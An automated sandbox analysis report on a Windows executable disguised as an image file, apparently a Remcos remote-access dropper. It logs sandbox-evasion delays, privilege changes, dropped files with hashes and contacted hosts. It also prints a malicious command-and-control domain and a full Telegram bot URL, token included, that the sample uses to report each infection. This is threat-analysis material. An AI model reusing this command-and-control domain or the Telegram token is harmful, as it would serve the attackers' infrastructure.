Source: C:\Users\user\AppData\Roaming\FILE.exe TID: 3384	Thread sleep time: -52000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\FILE.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\FILE.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9519			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9269			Jump to behavior

Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Process created: Base64 decoded Start-Sleep -Seconds 50
Source: C:\Users\user\AppData\Roaming\FILE.exe	Process created: Base64 decoded Start-Sleep -Seconds 50
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Process created: Base64 decoded Start-Sleep -Seconds 50	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	Process created: Base64 decoded Start-Sleep -Seconds 50	Jump to behavior

Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Queries volume information: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	Queries volume information: C:\Users\user\AppData\Roaming\FILE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
144.76.120.25	www.uplooder.net	Germany	24940	HETZNER-ASDE	false
79.134.225.75	remcapi.duckdns.org	Switzerland	6775	FINK-TELECOM-SERVICESCH	true
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false

Name	Malicious	Antivirus Detection	Reputation
http://geoplugin.net/json.gp	false	URL Reputation: safe	unknown
remcapi.duckdns.org	true	Avira URL Cloud: malware	unknown
https://api.telegram.org/bot5700424484:AAHP7I1VQ--kj9KZNXGLeSEyqUKvt4ILTyk/sendMessage?chat_id=1391434830&text=%0D%0A%F0%9F%94%8A%20NEW%20EXECUTION%0D%0A1%EF%B8%8F%E2%83%A3%20User%20=%20user%0D%0A2%EF%B8%8F%E2%83%A3%20Date%20UTC%20=%2010/3/2022%2011:03:09%20PM%0D%0A3%EF%B8%8F%E2%83%A3%20File%20=%20IMG-ZIRAATI03102022.exe	false		high
https://www.uplooder.net/img/image/57/b15c1f2fa18efb7b0a2e9e577171ed5d/IMG-ZIRAATI03102022-Wqnntgku.jpg	false		high

ID:	715079
Product:	CloudBasic
Start time:	16:01:00
Start date:	03.10.2022
Sample:	IMG-ZIRAATI03102022.exe
Cookbook:	default.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	3b4a0b66d0415af1e216224497c59b4b
SHA1:	d5f559097a703f155bad6b8610a48ea2dbd68b27
SHA256:	95c80a6add91050a965c4d38e3db1736c7cfc8c286e87c9d1c3aeb46ee3a95de
Filetype:	Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Name	Type	MD5	SHA1	SHA256
C:\ProgramData\remcos\logs.dat	data	8D50CAC5C47AEDAA8F12371DCB3019E1	489CCBE83765E5909CC0B129EBAEAB64E9259ECC	E9BA5FC1FDAE07157CAB390E07FBA70DA402C4739A3F34AD9E4AC893103359AD
C:\ProgramData\work\FILE.EXE	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	3B4A0B66D0415AF1E216224497C59B4B	D5F559097A703F155BAD6B8610A48EA2DBD68B27	95C80A6ADD91050A965C4D38E3DB1736C7CFC8C286E87C9D1C3AEB46EE3A95DE
C:\ProgramData\work\FILE.EXE:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FILE.exe.log	ASCII text, with CRLF line terminators	A5954DA14DDC15175BD61315B8EA45C8	688A976F957D800BEA0CAA5E25CA012C8DF79FAA	E90C9FE30AE1F10B8ACB2EE2477FBEED2A53E86923C9C57D8D91C17FFF18C3C0
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\IMG-ZIRAATI03102022.exe.log	ASCII text, with CRLF line terminators	A5954DA14DDC15175BD61315B8EA45C8	688A976F957D800BEA0CAA5E25CA012C8DF79FAA	E90C9FE30AE1F10B8ACB2EE2477FBEED2A53E86923C9C57D8D91C17FFF18C3C0
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\json[1].json	JSON data	B81805C653E6E1FC9ABC3EE32E7FC0AD	9049746F9AD55707006F85B1258B66F89AF0F5D9	6E269A29BC753B3746F45A857875050039D1EBB1BE58396C33565BCC1514A811
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	data	36DE9155D6C265A1DE62A448F3B5B66E	02D21946CBDD01860A0DE38D7EEC6CDE3A964FC3	8BA38D55AA8F1E4F959E7223FDF653ABB9BE5B8B5DE9D116604E1ABB371C1C87
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	data	0DE844F09B1A135F8BB6E6E17529C331	1414596DAF4FBA58068D3D9D328EB559AEA3F3E6	DC67DB295981F1B5CD19BD6EA27137D9A07829F740ED1116A01A79150967AA62
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eijp20js.dii.psm1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jrha0431.05b.ps1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nrxaxftx.vxf.ps1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rvimo0ac.yrw.psm1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\install.vbs	data	00714D0FF82B5D71BC1F908DE9271417	0C15F328A2E57D946FD3652CE2F856F3B13FBF3F	02179E1ADB87303ECD36A10CCA1BD16FD0B7E5802200B189D1AB74832A63B456
C:\Users\user\AppData\Roaming\FILE.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	3B4A0B66D0415AF1E216224497C59B4B	D5F559097A703F155BAD6B8610A48EA2DBD68B27	95C80A6ADD91050A965C4D38E3DB1736C7CFC8C286E87C9D1C3AEB46EE3A95DE
C:\Users\user\AppData\Roaming\FILE.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309

Windows Analysis Report IMG-ZIRAATI03102022.exe

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Cryptography

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Private

Contacted Domains

Contacted URLs

Windows Analysis Report
IMG-ZIRAATI03102022.exe